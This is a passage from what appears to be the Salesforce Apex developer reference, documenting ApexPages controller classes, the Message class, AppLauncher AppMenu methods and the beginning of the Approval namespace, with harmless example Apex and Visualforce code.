Note: The methods inherited from the StandardSetController cannot be used to affect the list of ideas returned by
the getIdeaList method.
Instantiation
An IdeaStandardSetController object cannot be instantiated. An instance can be obtained through a constructor of a custom extension
controller when using the standard list controller for ideas.
Example: Displaying a Profile Page
The following example shows how an IdeaStandardSetController object can be used in the constructor for a custom list controller:
public class MyIdeaProfileExtension {
private final ApexPages.IdeaStandardSetController ideaSetController;
public MyIdeaProfileExtension(ApexPages.IdeaStandardSetController controller) {
ideaSetController = (ApexPages.IdeaStandardSetController)controller;
}
public List<Idea> getModifiedIdeas() {
Idea[] ideas = ideaSetController.getIdeaList();
// modify ideas here
return ideas;
}
}
The following Visualforce markup shows how the IdeaStandardSetController example shown above and the
<ideas:profileListOutputLink> component can display a profile page that lists the recent replies, submitted ideas, and
617
IdeaStandardSetController ClassReference
votes associated with a user. Because this example does not identify a specific user ID, the page automatically shows the profile page
for the current logged in user. This page must be named profilePage in order for this example to work:
<!-- page named profilePage -->
<apex:page standardController="Idea" extensions="MyIdeaProfileExtension"
recordSetVar="ideaSetVar">
<apex:pageBlock >
<ideas:profileListOutputLink sort="recentReplies" page="profilePage">
Recent Replies</ideas:profileListOutputLink>
|
<ideas:profileListOutputLink sort="ideas" page="profilePage">Ideas Submitted
</ideas:profileListOutputLink>
|
<ideas:profileListOutputLink sort="votes" page="profilePage">Ideas Voted
</ideas:profileListOutputLink>
</apex:pageBlock>
<apex:pageBlock >
<apex:dataList value="{!modifiedIdeas}" var="ideadata">
<ideas:detailoutputlink ideaId="{!ideadata.id}" page="viewPage">
{!ideadata.title}</ideas:detailoutputlink>
</apex:dataList>
</apex:pageBlock>
</apex:page>
In the previous example, the <ideas:detailoutputlink> component links to the following Visualforce markup that displays
the detail page for a specific idea. This page must be named viewPage in order for this example to work:
<!-- page named viewPage -->
<apex:page standardController="Idea">
<apex:pageBlock title="Idea Section">
<ideas:detailOutputLink page="viewPage" ideaId="{!idea.id}">{!idea.title}
</ideas:detailOutputLink>
<br/><br/>
<apex:outputText>{!idea.body}</apex:outputText>
</apex:pageBlock>
</apex:page>
Example: Displaying a List of Top, Recent, and Most Popular Ideas and Comments
The following example shows how an IdeaStandardSetController object can be used in the constructor for a custom list controller:
Note: You must have created at least one idea for this example to return any ideas.
public class MyIdeaListExtension {
private final ApexPages.IdeaStandardSetController ideaSetController;
public MyIdeaListExtension (ApexPages.IdeaStandardSetController controller) {
ideaSetController = (ApexPages.IdeaStandardSetController)controller;
}
public List<Idea> getModifiedIdeas() {
Idea[] ideas = ideaSetController.getIdeaList();
// modify ideas here
618
IdeaStandardSetController ClassReference
return ideas;
}
}
The following Visualforce markup shows how the IdeaStandardSetController example shown above can be used with the
<ideas:listOutputLink> component to display a list of recent, top, and most popular ideas and comments. This page must
be named listPage in order for this example to work:
<!-- page named listPage -->
<apex:page standardController="Idea" extensions="MyIdeaListExtension"
recordSetVar="ideaSetVar">
<apex:pageBlock >
<ideas:listOutputLink sort="recent" page="listPage">Recent Ideas
</ideas:listOutputLink>
|
<ideas:listOutputLink sort="top" page="listPage">Top Ideas
</ideas:listOutputLink>
|
<ideas:listOutputLink sort="popular" page="listPage">Popular Ideas
</ideas:listOutputLink>
|
<ideas:listOutputLink sort="comments" page="listPage">Recent Comments
</ideas:listOutputLink>
</apex:pageBlock>
<apex:pageBlock >
<apex:dataList value="{!modifiedIdeas}" var="ideadata">
<ideas:detailoutputlink ideaId="{!ideadata.id}" page="viewPage">
{!ideadata.title}</ideas:detailoutputlink>
</apex:dataList>
</apex:pageBlock>
</apex:page>
In the previous example, the <ideas:detailoutputlink> component links to the following Visualforce markup that displays
the detail page for a specific idea. This page must be named viewPage.
<!-- page named viewPage -->
<apex:page standardController="Idea">
<apex:pageBlock title="Idea Section">
<ideas:detailOutputLink page="viewPage" ideaId="{!idea.id}">{!idea.title}
</ideas:detailOutputLink>
<br/><br/>
<apex:outputText>{!idea.body}</apex:outputText>
</apex:pageBlock>
</apex:page>
SEE ALSO:
StandardSetController Class
IdeaStandardSetController Methods
The following are instance methods for IdeaStandardSetController.
619
IdeaStandardSetController ClassReference
IN THIS SECTION:
getIdeaList()
Returns the list of read-only ideas in the current page set.
getIdeaList()
Returns the list of read-only ideas in the current page set.
Signature
public Idea[] getIdeaList()
Return Value
Type: Idea[]
Usage
You can use the <ideas:listOutputLink>, <ideas:profileListOutputLink>, and
<ideas:detailOutputLink> components to display profile pages as well as idea list and detail pages (see the examples below).
The following is a list of properties returned by this method:
•Body
•Categories
•Category
•CreatedBy.CommunityNickname
•CreatedBy.Id
•CreatedDate
•Id
•LastCommentDate
•LastComment.Id
•LastComment.CommentBody
•LastComment.CreatedBy.CommunityNickname
•LastComment.CreatedBy.Id
•NumComments
•Status
•Title
•VoteTotal
KnowledgeArticleVersionStandardController Class
KnowledgeArticleVersionStandardController objects offer article-specific functionality in addition to what is provided
by the StandardController.
620
KnowledgeArticleVersionStandardController ClassReference
Namespace
ApexPages
Usage
In addition to the method listed above, the KnowledgeArticleVersionStandardController class inherits all the methods
associated with StandardController.
Note: Though inherited, the edit, delete, and save methods don't serve a function when used with the
KnowledgeArticleVersionStandardController class.
Example
The following example shows how a KnowledgeArticleVersionStandardController object can be used to create a
custom extension controller. In this example, you create a class named AgentContributionArticleController that allows
customer-support agents to see pre-populated fields on the draft articles they create while closing cases.
Prerequisites:
1. Create an article type called FAQ. For instructions, see “Create Article Types” in the Salesforce online help.
2. Create a text custom field called Details. For instructions, see “Add Custom Fields to Article Types” in the Salesforce online help.
3. Create a category group called Geography and assign it to a category called USA. For instructions, see “Create and Modify
Category Groups” and “Add Data Categories to Category Groups” in the Salesforce online help.
4. Create a category group called Topics and assign it a category called Maintenance.
/** Custom extension controller for the simplified article edit page that
appears when an article is created on the close-case page.
*/
public class AgentContributionArticleController {
// The constructor must take a ApexPages.KnowledgeArticleVersionStandardController as
an argument
public AgentContributionArticleController(
ApexPages.KnowledgeArticleVersionStandardController ctl) {
// This is the SObject for the new article.
//It can optionally be cast to the proper article type.
// For example, FAQ__kav article = (FAQ__kav) ctl.getRecord();
SObject article = ctl.getRecord();
// This returns the ID of the case that was closed.
String sourceId = ctl.getSourceId();
Case c = [SELECT Subject, Description FROM Case WHERE Id=:sourceId];
// This overrides the default behavior of pre-filling the
// title of the article with the subject of the closed case.
article.put('title','From Case: '+c.subject);
article.put('details__c',c.description);
// Only one category per category group can be specified.
ctl.selectDataCategory('Geography','USA');
ctl.selectDataCategory('Topics','Maintenance');
621
KnowledgeArticleVersionStandardController ClassReference
}
}
/** Test class for the custom extension controller.
*/
@isTest
private class AgentContributionArticleControllerTest {
static testMethod void testAgentContributionArticleController() {
String caseSubject = 'my test';
String caseDesc = 'my test description';
Case c = new Case();
c.subject= caseSubject;
c.description = caseDesc;
insert c;
String caseId = c.id;
System.debug('Created Case: ' + caseId);
ApexPages.currentPage().getParameters().put('sourceId', caseId);
ApexPages.currentPage().getParameters().put('sfdc.override','1');
ApexPages.KnowledgeArticleVersionStandardController ctl =
new ApexPages.KnowledgeArticleVersionStandardController(new FAQ__kav());
new AgentContributionArticleController(ctl);
System.assertEquals(caseId, ctl.getSourceId());
System.assertEquals('From Case: '+caseSubject, ctl.getRecord().get('title'));
System.assertEquals(caseDesc, ctl.getRecord().get('details__c'));
}
}
If you created the custom extension controller for the purpose described in the previous example (that is, to modify submitted-via-case
articles), complete the following steps after creating the class:
1. Log into your Salesforce organization and from Setup, enter Knowledge Settings in the Quick Find box, then select
Knowledge Settings.
2. Click Edit.
3. Assign the class to the Use Apex customization field. This associates the article type specified in the new class with the
article type assigned to closed cases.
4. Click Save.
IN THIS SECTION:
KnowledgeArticleVersionStandardController Constructors
KnowledgeArticleVersionStandardController Methods
SEE ALSO:
StandardController Class
622
KnowledgeArticleVersionStandardController ClassReference
KnowledgeArticleVersionStandardController Constructors
The following are constructors for KnowledgeArticleVersionStandardController.
IN THIS SECTION:
KnowledgeArticleVersionStandardController(article)
Creates a new instance of the ApexPages.KnowledgeArticleVersionStandardController class using the
specified knowledge article.
KnowledgeArticleVersionStandardController(article)
Creates a new instance of the ApexPages.KnowledgeArticleVersionStandardController class using the specified
knowledge article.
Signature
public KnowledgeArticleVersionStandardController(SObject article)
Parameters
article
Type: SObject
The knowledge article, such as FAQ_kav.
KnowledgeArticleVersionStandardController Methods
The following are instance methods for KnowledgeArticleVersionStandardController.
IN THIS SECTION:
getSourceId()
Returns the ID for the source object record when creating a new article from another object.
setDataCategory(categoryGroup, category)
Specifies a default data category for the specified data category group when creating a new article.
getSourceId()
Returns the ID for the source object record when creating a new article from another object.
Signature
public String getSourceId()
Return Value
Type: String
623
KnowledgeArticleVersionStandardController ClassReference
setDataCategory(categoryGroup, category)
Specifies a default data category for the specified data category group when creating a new article.
Signature
public Void setDataCategory(String categoryGroup, String category)
Parameters
categoryGroup
Type: String
category
Type: String
Return Value
Type: Void
Message Class
Contains validation errors that occur when the end user saves the page when using a standard controller.
Namespace
ApexPages
Usage
When using a standard controller, all validation errors, both custom and standard, that occur when the end user saves the page are
automatically added to the page error collections. If there is an inputField component bound to the field with an error, the message
is added to the components error collection. All messages are added to the pages error collection. For more information, see Validation
Rules and Standard Controllers in the Visualforce Developer's Guide.
If your application uses a custom controller or extension, you must use the message class for collecting errors.
Instantiation
In a custom controller or controller extension, you can instantiate a Message in one of the following ways:
624
Message ClassReference
•ApexPages.Message myMsg = new ApexPages.Message(ApexPages.severity,summary);
where ApexPages.severity is the enum that is determines how severe a message is, and summary is the String used to
summarize the message. For example:
ApexPages.Message myMsg = new ApexPages.Message(ApexPages.Severity.FATAL, 'my error
msg');
•ApexPages.Message myMsg = new ApexPages.Message(ApexPages.severity,summary,detail);
where ApexPages. severity is the enum that is determines how severe a message is, summary is the String used to
summarize the message, and detail is the String used to provide more detailed information about the error.
ApexPages.Severity Enum
Using the ApexPages.Severity enum values, specify the severity of the message. The following are the valid values:
•CONFIRM
•ERROR
•FATAL
•INFO
•WARNING
All enums have access to standard methods, such as name and value.
IN THIS SECTION:
Message Constructors
Message Methods
Message Constructors
The following are constructors for Message.
IN THIS SECTION:
Message(severity, summary)
Creates a new instance of the ApexPages.Message class using the specified message severity and summary.
Message(severity, summary, detail)
Creates a new instance of the ApexPages.Message class using the specified message severity, summary, and message detail.
Message(severity, summary, detail, id)
Creates a new instance of the ApexPages.Message class using the specified severity, summary, detail, and component ID.
Message(severity, summary)
Creates a new instance of the ApexPages.Message class using the specified message severity and summary.
625
Message ClassReference
Signature
public Message(ApexPages.Severity severity, String summary)
Parameters
severity
Type: ApexPages.Severity
The severity of a Visualforce message.
summary
Type: String
The summary Visualforce message.
Message(severity, summary, detail)
Creates a new instance of the ApexPages.Message class using the specified message severity, summary, and message detail.
Signature
public Message(ApexPages.Severity severity, String summary, String detail)
Parameters
severity
Type: ApexPages.Severity
The severity of a Visualforce message.
summary
Type: String
The summary Visualforce message.
detail
Type: String
The detailed Visualforce message.
Message(severity, summary, detail, id)
Creates a new instance of the ApexPages.Message class using the specified severity, summary, detail, and component ID.
Signature
public Message(ApexPages.Severity severity, String summary, String detail, String id)
Parameters
severity
Type: ApexPages.Severity
The severity of a Visualforce message.
626
Message ClassReference
summary
Type: String
The summary Visualforce message.
detail
Type: String
The detailed Visualforce message.
id
Type: String
The ID of the Visualforce component to associate with the message, for example, a form field with an error.
Message Methods
The following are methods for Message. All are instance methods.
IN THIS SECTION:
getComponentLabel()
Returns the label of the associated inputField component. If no label is defined, this method returns null.
getDetail()
Returns the value of the detail parameter used to create the message. If no detail String was specified, this method returns null.
getSeverity()
Returns the severity enum used to create the message.
getSummary()
Returns the summary String used to create the message.
getComponentLabel()
Returns the label of the associated inputField component. If no label is defined, this method returns null.
Signature
public String getComponentLabel()
Return Value
Type: String
getDetail()
Returns the value of the detail parameter used to create the message. If no detail String was specified, this method returns null.
Signature
public String getDetail()
627
Message ClassReference
Return Value
Type: String
getSeverity()
Returns the severity enum used to create the message.
Signature
public ApexPages.Severity getSeverity()
Return Value
Type: ApexPages.Severity
getSummary()
Returns the summary String used to create the message.
Signature
public String getSummary()
Return Value
Type: String
StandardController Class
Use a StandardController when defining an extension for a standard controller.
Namespace
ApexPages
Usage
StandardController objects reference the pre-built Visualforce controllers provided by Salesforce. The only time it is necessary to refer
to a StandardController object is when defining an extension for a standard controller. StandardController is the data type of the single
argument in the extension class constructor.
Instantiation
You can instantiate a StandardController in the following way:
ApexPages.StandardController sc = new ApexPages.StandardController(sObject);
628
StandardController ClassReference
Example
The following example shows how a StandardController object can be used in the constructor for a standard controller extension:
public class myControllerExtension {
private final Account acct;
// The extension constructor initializes the private member
// variable acct by using the getRecord method from the standard
// controller.
public myControllerExtension(ApexPages.StandardController stdController) {
this.acct = (Account)stdController.getRecord();
}
public String getGreeting() {
return 'Hello ' + acct.name + ' (' + acct.id + ')';
}
}
The following Visualforce markup shows how the controller extension from above can be used in a page:
<apex:page standardController="Account" extensions="myControllerExtension">
{!greeting} <p/>
<apex:form>
<apex:inputField value="{!account.name}"/> <p/>
<apex:commandButton value="Save" action="{!save}"/>
</apex:form>
</apex:page>
IN THIS SECTION:
StandardController Constructors
StandardController Methods
StandardController Constructors
The following are constructors for StandardController.
IN THIS SECTION:
StandardController(controllerSObject)
Creates a new instance of the ApexPages.StandardController class for the specified standard or custom object.
StandardController(controllerSObject)
Creates a new instance of the ApexPages.StandardController class for the specified standard or custom object.
Signature
public StandardController(SObject controllerSObject)
629
StandardController ClassReference
Parameters
controllerSObject
Type: SObject
A standard or custom object.
StandardController Methods
The following are methods for StandardController. All are instance methods.
IN THIS SECTION:
addFields(fieldNames)
When a Visualforce page is loaded, the fields accessible to the page are based on the fields referenced in the Visualforce markup.
This method adds a reference to each field specified in fieldNames so that the controller can explicitly access those fields as
well.
cancel()
Returns the PageReference of the cancel page.
delete()
Deletes record and returns the PageReference of the delete page.
edit()
Returns the PageReference of the standard edit page.
getId()
Returns the ID of the record that is currently in context, based on the value of the id query string parameter in the Visualforce page
URL.
getRecord()
Returns the record that is currently in context, based on the value of the id query string parameter in the Visualforce page URL.
reset()
Forces the controller to reacquire access to newly referenced fields. Any changes made to the record prior to this method call are
discarded.
save()
Saves changes and returns the updated PageReference.
view()
Returns the PageReference object of the standard detail page.
addFields(fieldNames)
When a Visualforce page is loaded, the fields accessible to the page are based on the fields referenced in the Visualforce markup. This
method adds a reference to each field specified in fieldNames so that the controller can explicitly access those fields as well.
Signature
public Void addFields(List<String> fieldNames)
630
StandardController ClassReference
Parameters
fieldNames
Type: List<String>
Return Value
Type: Void
Usage
This method should be called before a record has been loaded—typically, it's called by the controller's constructor. If this method is
called outside of the constructor, you must use the reset() method before calling addFields().
The strings in fieldNames can either be the API name of a field, such as AccountId, or they can be explicit relationships to fields,
such as foo__r.myField__c.
This method is only for controllers used by dynamicVisualforce bindings.
cancel()
Returns the PageReference of the cancel page.
Signature
public System.PageReference cancel()
Return Value
Type: System.PageReference
delete()
Deletes record and returns the PageReference of the delete page.
Signature
public System.PageReference delete()
Return Value
Type: System.PageReference
edit()
Returns the PageReference of the standard edit page.
Signature
public System.PageReference edit()
631
StandardController ClassReference
Return Value
Type: System.PageReference
getId()
Returns the ID of the record that is currently in context, based on the value of the id query string parameter in the Visualforce page
URL.
Signature
public String getId()
Return Value
Type: String
getRecord()
Returns the record that is currently in context, based on the value of the id query string parameter in the Visualforce page URL.
Signature
public SObject getRecord()
Return Value
Type: sObject
Usage
Note that only the fields that are referenced in the associated Visualforce markup are available for querying on this SObject. All other
fields, including fields from any related objects, must be queried using a SOQL expression.
Tip: You can work around this restriction by including a hidden component that references any additional fields that you want
to query. Hide the component from display by setting the component's rendered attribute to false.
Example
<apex:outputText
value="{!account.billingcity}
{!account.contacts}"
rendered="false"/>
reset()
Forces the controller to reacquire access to newly referenced fields. Any changes made to the record prior to this method call are
discarded.
632
StandardController ClassReference
Signature
public Void reset()
Return Value
Type: Void
Usage
This method is only used if addFields is called outside the constructor, and it must be called directly before addFields.
This method is only for controllers used by dynamicVisualforce bindings.
save()
Saves changes and returns the updated PageReference.
Signature
public System.PageReference save()
Return Value
Type: System.PageReference
view()
Returns the PageReference object of the standard detail page.
Signature
public System.PageReference view()
Return Value
Type: System.PageReference
StandardSetController Class
StandardSetController objects allow you to create list controllers similar to, or as extensions of, the pre-built Visualforce list
controllers provided by Salesforce.
Namespace
ApexPages
Usage
The StandardSetController class also contains a prototype object. This is a single sObject contained within the Visualforce
StandardSetController class. If the prototype object's fields are set, those values are used during the save action, meaning that the values
633
StandardSetController ClassReference
are applied to every record in the set controller's collection. This is useful for writing pages that perform mass updates (applying identical
changes to fields within a collection of objects).
Note: Fields that are required in other Salesforce objects will keep the same requiredness when used by the prototype object.
Instantiation
You can instantiate a StandardSetController in either of the following ways:
•From a list of sObjects:
List<account> accountList = [SELECT Name FROM Account LIMIT 20];
ApexPages.StandardSetController ssc = new ApexPages.StandardSetController(accountList);
•From a query locator:
ApexPages.StandardSetController ssc =
new ApexPages.StandardSetController(Database.getQueryLocator([SELECT Name,CloseDate FROM
Opportunity]));
Note: The maximum record limit for StandardSetController is 10,000 records. Instantiating StandardSetController using a query
locator returning more than 10,000 records causes a LimitException to be thrown. However, instantiating StandardSetController
with a list of more than 10,000 records doesn’t throw an exception, and instead truncates the records to the limit.
Example
The following example shows how a StandardSetController object can be used in the constructor for a custom list controller:
public class opportunityList2Con {
// ApexPages.StandardSetController must be instantiated
// for standard list controllers
public ApexPages.StandardSetController setCon {
get {
if(setCon == null) {
setCon = new ApexPages.StandardSetController(Database.getQueryLocator(
[SELECT Name, CloseDate FROM Opportunity]));
}
return setCon;
}
set;
}
// Initialize setCon and return a list of records
public List<Opportunity> getOpportunities() {
return (List<Opportunity>) setCon.getRecords();
}
}
The following Visualforce markup shows how the controller above can be used in a page:
<apex:page controller="opportunityList2Con">
<apex:pageBlock>
<apex:pageBlockTable value="{!opportunities}" var="o">
<apex:column value="{!o.Name}"/>
634
StandardSetController ClassReference
<apex:column value="{!o.CloseDate}"/>
</apex:pageBlockTable>
</apex:pageBlock>
</apex:page>
IN THIS SECTION:
StandardSetController Constructors
StandardSetController Methods
StandardSetController Constructors
The following are constructors for StandardSetController.
IN THIS SECTION:
StandardSetController(sObjectList)
Creates a new instance of the ApexPages.StandardSetController class for the list of sObjects returned by the query
locator.
StandardSetController(controllerSObjects)
Creates a new instance of the ApexPages.StandardSetController class for the specified list of standard or custom
objects.
StandardSetController(sObjectList)
Creates a new instance of the ApexPages.StandardSetController class for the list of sObjects returned by the query locator.
Signature
public StandardSetController(Database.QueryLocator sObjectList)
Parameters
sObjectList
Type: Database.QueryLocator
A query locator returning a list of sObjects.
StandardSetController(controllerSObjects)
Creates a new instance of the ApexPages.StandardSetController class for the specified list of standard or custom objects.
Signature
public StandardSetController(List<SObject> controllerSObjects)
Parameters
controllerSObjects
Type: List<SObject>
635
StandardSetController ClassReference
A List of standard or custom objects.
StandardSetController Methods
The following are methods for StandardSetController. All are instance methods.
IN THIS SECTION:
cancel()
Returns the PageReference of the original page, if known, or the home page.
first()
Returns the first page of records.
getCompleteResult()
Indicates whether there are more records in the set than the maximum record limit. If this is false, there are more records than you
can process using the list controller. The maximum record limit is 10,000 records.
getFilterId()
Returns the ID of the filter that is currently in context.
getHasNext()
Indicates whether there are more records after the current page set.
getHasPrevious()
Indicates whether there are more records before the current page set.
getListViewOptions()
Returns a list of the listviews available to the current user.
getPageNumber()
Returns the page number of the current page set. Note that the first page returns 1.
getPageSize()
Returns the number of records included in each page set.
getRecord()
Returns the sObject that represents the changes to the selected records. This retrieves the prototype object contained within the
class, and is used for performing mass updates.
getRecords()
Returns the list of sObjects in the current page set. This list is immutable, i.e. you can't call clear() on it.
getResultSize()
Returns the number of records in the set.
getSelected()
Returns the list of sObjects that have been selected.
last()
Returns the last page of records.
next()
Returns the next page of records.
previous()
Returns the previous page of records.
636
StandardSetController ClassReference
save()
Inserts new records or updates existing records that have been changed. After this operation is finished, it returns a PageReference
to the original page, if known, or the home page.
setFilterID(filterId)
Sets the filter ID of the controller.
setpageNumber(pageNumber)
Sets the page number.
setPageSize(pageSize)
Sets the number of records in each page set.
setSelected(selectedRecords)
Set the selected records.
cancel()
Returns the PageReference of the original page, if known, or the home page.
Signature
public System.PageReference cancel()
Return Value
Type: System.PageReference
first()
Returns the first page of records.
Signature
public Void first()
Return Value
Type: Void
getCompleteResult()
Indicates whether there are more records in the set than the maximum record limit. If this is false, there are more records than you can
process using the list controller. The maximum record limit is 10,000 records.
Signature
public Boolean getCompleteResult()
Return Value
Type: Boolean
637
StandardSetController ClassReference
getFilterId()
Returns the ID of the filter that is currently in context.
Signature
public String getFilterId()
Return Value
Type: String
getHasNext()
Indicates whether there are more records after the current page set.
Signature
public Boolean getHasNext()
Return Value
Type: Boolean
getHasPrevious()
Indicates whether there are more records before the current page set.
Signature
public Boolean getHasPrevious()
Return Value
Type: Boolean
getListViewOptions()
Returns a list of the listviews available to the current user.
Signature
public System.SelectOption getListViewOptions()
Return Value
Type: System.SelectOption[]
getPageNumber()
Returns the page number of the current page set. Note that the first page returns 1.
638
StandardSetController ClassReference
Signature
public Integer getPageNumber()
Return Value
Type: Integer
getPageSize()
Returns the number of records included in each page set.
Signature
public Integer getPageSize()
Return Value
Type: Integer
getRecord()
Returns the sObject that represents the changes to the selected records. This retrieves the prototype object contained within the class,
and is used for performing mass updates.
Signature
public sObject getRecord()
Return Value
Type: sObject
getRecords()
Returns the list of sObjects in the current page set. This list is immutable, i.e. you can't call clear() on it.
Signature
public sObject[] getRecords()
Return Value
Type: sObject[]
getResultSize()
Returns the number of records in the set.
639
StandardSetController ClassReference
Signature
public Integer getResultSize()
Return Value
Type: Integer
getSelected()
Returns the list of sObjects that have been selected.
Signature
public sObject[] getSelected()
Return Value
Type: sObject[]
last()
Returns the last page of records.
Signature
public Void last()
Return Value
Type: Void
next()
Returns the next page of records.
Signature
public Void next()
Return Value
Type: Void
previous()
Returns the previous page of records.
Signature
public Void previous()
640
StandardSetController ClassReference
Return Value
Type: Void
save()
Inserts new records or updates existing records that have been changed. After this operation is finished, it returns a PageReference to
the original page, if known, or the home page.
Signature
public System.PageReference save()
Return Value
Type: System.PageReference
setFilterID(filterId)
Sets the filter ID of the controller.
Signature
public Void setFilterID(String filterId)
Parameters
filterId
Type: String
Return Value
Type: Void
setpageNumber(pageNumber)
Sets the page number.
Signature
public Void setpageNumber(Integer pageNumber)
Parameters
pageNumber
Type: Integer
Return Value
Type: Void
641
StandardSetController ClassReference
setPageSize(pageSize)
Sets the number of records in each page set.
Signature
public Void setPageSize(Integer pageSize)
Parameters
pageSize
Type: Integer
Return Value
Type: Void
setSelected(selectedRecords)
Set the selected records.
Signature
public Void setSelected(sObject[] selectedRecords)
Parameters
selectedRecords
Type: sObject[]
Return Value
Type: Void
AppLauncher Namespace
The AppLauncher namespace provides methods for managing the appearance of apps in the App Launcher, including their visibility
and sort order.
The following class is in the AppLauncher namespace.
IN THIS SECTION:
AppMenu Class
Contains methods to set the appearance of apps in the App Launcher.
AppMenu Class
Contains methods to set the appearance of apps in the App Launcher.
642
AppLauncher NamespaceReference
Namespace
AppLauncher
IN THIS SECTION:
AppMenu Methods
AppMenu Methods
The following are methods for AppMenu.
IN THIS SECTION:
setAppVisibility(appMenuItemId, isVisible)
Shows or hides specific apps in the App Launcher.
setOrgSortOrder(appIds)
Sets the organization-wide default sort order for the App Launcher based on a List of app menu item IDs in the desired order.
setUserSortOrder(appIds)
Sets an individual user’s default sort order for the App Launcher based on a List of app menu item IDs in the desired order.
setAppVisibility(appMenuItemId, isVisible)
Shows or hides specific apps in the App Launcher.
Signature
public static void setAppVisibility(Id appMenuItemId, Boolean isVisible)
Parameters
appMenuItemId
Type: Id
The 15-character application ID value for an app. For more information, see the ApplicationId field for AppMenuItem or the
AppMenuItemId field for UserAppMenuItem in the SOAP API Developer Guide
isVisible
Type: Boolean
If true, the app is visible.
Return Value
Type: void
setOrgSortOrder(appIds)
Sets the organization-wide default sort order for the App Launcher based on a List of app menu item IDs in the desired order.
643
AppMenu ClassReference
Signature
public static void setOrgSortOrder(List<Id> appIds)
Parameters
appIds
Type: List<Id>
A list of application ID values. For more information, see the ApplicationId field for AppMenuItem in the SOAP API Developer
Guide.
Return Value
Type: void
setUserSortOrder(appIds)
Sets an individual user’s default sort order for the App Launcher based on a List of app menu item IDs in the desired order.
Signature
public static void setUserSortOrder(List<Id> appIds)
Parameters
appIds
Type: List<Id>
A list of application ID values. For more information, see the AppMenuItemId field for UserAppMenuItem in the SOAP API Developer
Guide.
Return Value
Type: void
Approval Namespace
The Approval namespace provides classes and methods for approval processes.
The following are the classes in the Approval namespace.
IN THIS SECTION:
LockResult Class
The result of a record lock returned by a System.Approval.lock() method.
ProcessRequest Class
The ProcessRequest class is the parent class for the ProcessSubmitRequest and ProcessWorkitemRequest
classes. Use the ProcessRequest class to write generic Apex that can process objects from either class.
ProcessResult Class
After you submit a record for approval, use the ProcessResult class to process the results of an approval process.
644
Approval NamespaceReference
ProcessSubmitRequest Class
Use the ProcessSubmitRequest class to submit a record for approval.
ProcessWorkitemRequest Class
Use the ProcessWorkitemRequest class for processing an approval request after it is submitted.
UnlockResult Class
The result of a record unlock, returned by a System.Approval.unlock() method.
LockResult Class
The result of a record lock returned by a System.Approval.lock() method.
Namespace
Approval
Usage
The System.Approval.lock() methods return Approval.LockResult objects. Each element in a LockResult array corresponds
to an element in the ID or sObject array passed as a parameter to a lock method. The first element in the LockResult array corresponds
to the first element in the ID or sObject array, the second element corresponds to the second element, and so on. If only one ID or sObject
is passed in, the LockResult array contains a single element.
Example
The following example obtains and iterates through the returned Approval.LockResult objects. It locks some queried accounts using
Approval.lock with a false second parameter to allow partial processing of records on failure. Next, it iterates through the
results to determine whether the operation was successful for each record. It writes the ID of every record that was processed successfully
to the debug log, or writes error messages and failed fields of the failed records.
// Query the accounts to lock
Account[] accts = [SELECT Id from Account WHERE Name LIKE 'Acme%'];
// Lock the accounts
Approval.LockResult[] lrList = Approval.lock(accts, false);
// Iterate through each returned result
for(Approval.LockResult lr : lrList) {
if (lr.isSuccess()) {
// Operation was successful, so get the ID of the record that was processed
System.debug('Successfully locked account with ID: ' + lr.getId());
}
else {
// Operation failed, so get all errors
for(Database.Error err : lr.getErrors()) {
System.debug('The following error has occurred.');
System.debug(err.getStatusCode() + ': ' + err.getMessage());
System.debug('Account fields that affected this error: ' + err.getFields());
}
}
}
645
LockResult ClassReference
IN THIS SECTION:
LockResult Methods
SEE ALSO:
Approval Class
LockResult Methods
The following are methods for LockResult.
IN THIS SECTION:
getErrors()
If an error occurred, returns an array of one or more database error objects, providing the error code and description.
getId()
Returns the ID of the sObject you are trying to lock.
isSuccess()
A Boolean value that is set to true if the lock operation is successful for this object, or false otherwise.
getErrors()
If an error occurred, returns an array of one or more database error objects, providing the error code and description.
Signature
public List<Database.Error> getErrors()
Return Value
Type: List<Database.Error>
getId()
Returns the ID of the sObject you are trying to lock.
Signature
public Id getId()
Return Value
Type: Id
Usage
If the field contains a value, the object was locked. If the field is empty, the operation was not successful.
646
LockResult ClassReference
isSuccess()
A Boolean value that is set to true if the lock operation is successful for this object, or false otherwise.
Signature
public Boolean isSuccess()
Return Value
Type: Boolean
ProcessRequest Class
The ProcessRequest class is the parent class for the ProcessSubmitRequest and ProcessWorkitemRequest
classes. Use the ProcessRequest class to write generic Apex that can process objects from either class.
Namespace
Approval
Usage
The request must be instantiated via the child classes, ProcessSubmitRequest and ProcessWorkItemRequest.
ProcessRequest Methods
The following are methods for ProcessRequest. All are instance methods.
IN THIS SECTION:
getComments()
Returns the comments that have been added previously to the approval request.
getNextApproverIds()
Returns the list of user IDs of user specified as approvers.
setComments(comments)
Sets the comments to be added to the approval request.
setNextApproverIds(nextApproverIds)
If the next step in your approval process is another Apex approval process, you specify exactly one user ID as the next approver. If
not, you cannot specify a user ID and this method must be null.
getComments()
Returns the comments that have been added previously to the approval request.
Signature
public String getComments()
647
ProcessRequest ClassReference
Return Value
Type: String
getNextApproverIds()
Returns the list of user IDs of user specified as approvers.
Signature
public ID[] getNextApproverIds()
Return Value
Type: ID[]
setComments(comments)
Sets the comments to be added to the approval request.
Signature
public Void setComments(String comments)
Parameters
comments
Type: String
Return Value
Type: Void
setNextApproverIds(nextApproverIds)
If the next step in your approval process is another Apex approval process, you specify exactly one user ID as the next approver. If not,
you cannot specify a user ID and this method must be null.
Signature
public Void setNextApproverIds(ID[] nextApproverIds)
Parameters
nextApproverIds
Type: ID[]
Return Value
Type: Void
648
ProcessRequest ClassReference
ProcessResult Class
After you submit a record for approval, use the ProcessResult class to process the results of an approval process.
Namespace
Approval
Usage
A ProcessResult object is returned by the process method. You must specify the Approval namespace when creating an instance of
this class. For example:
Approval.ProcessResult result = Approval.process(req1);
ProcessResult Methods
The following are methods for ProcessResult. All are instance methods.
IN THIS SECTION:
getEntityId()
The ID of the record being processed.
getErrors()
If an error occurred, returns an array of one or more database error objects including the error code and description.
getInstanceId()
The ID of the approval process that has been submitted for approval.
getInstanceStatus()
The status of the current approval process. Valid values are: Approved, Rejected, Removed or Pending.
getNewWorkitemIds()
The IDs of the new items submitted to the approval process. There can be 0 or 1 approval processes.
isSuccess()
A Boolean value that is set to true if the approval process completed successfully; otherwise, it is set to false.
getEntityId()
The ID of the record being processed.
Signature
public String getEntityId()
Return Value
Type: String
649
ProcessResult ClassReference
getErrors()
If an error occurred, returns an array of one or more database error objects including the error code and description.
Signature
public Database.Error[] getErrors()
Return Value
Type: Database.Error[]
getInstanceId()
The ID of the approval process that has been submitted for approval.
Signature
public String getInstanceId()
Return Value
Type: String
getInstanceStatus()
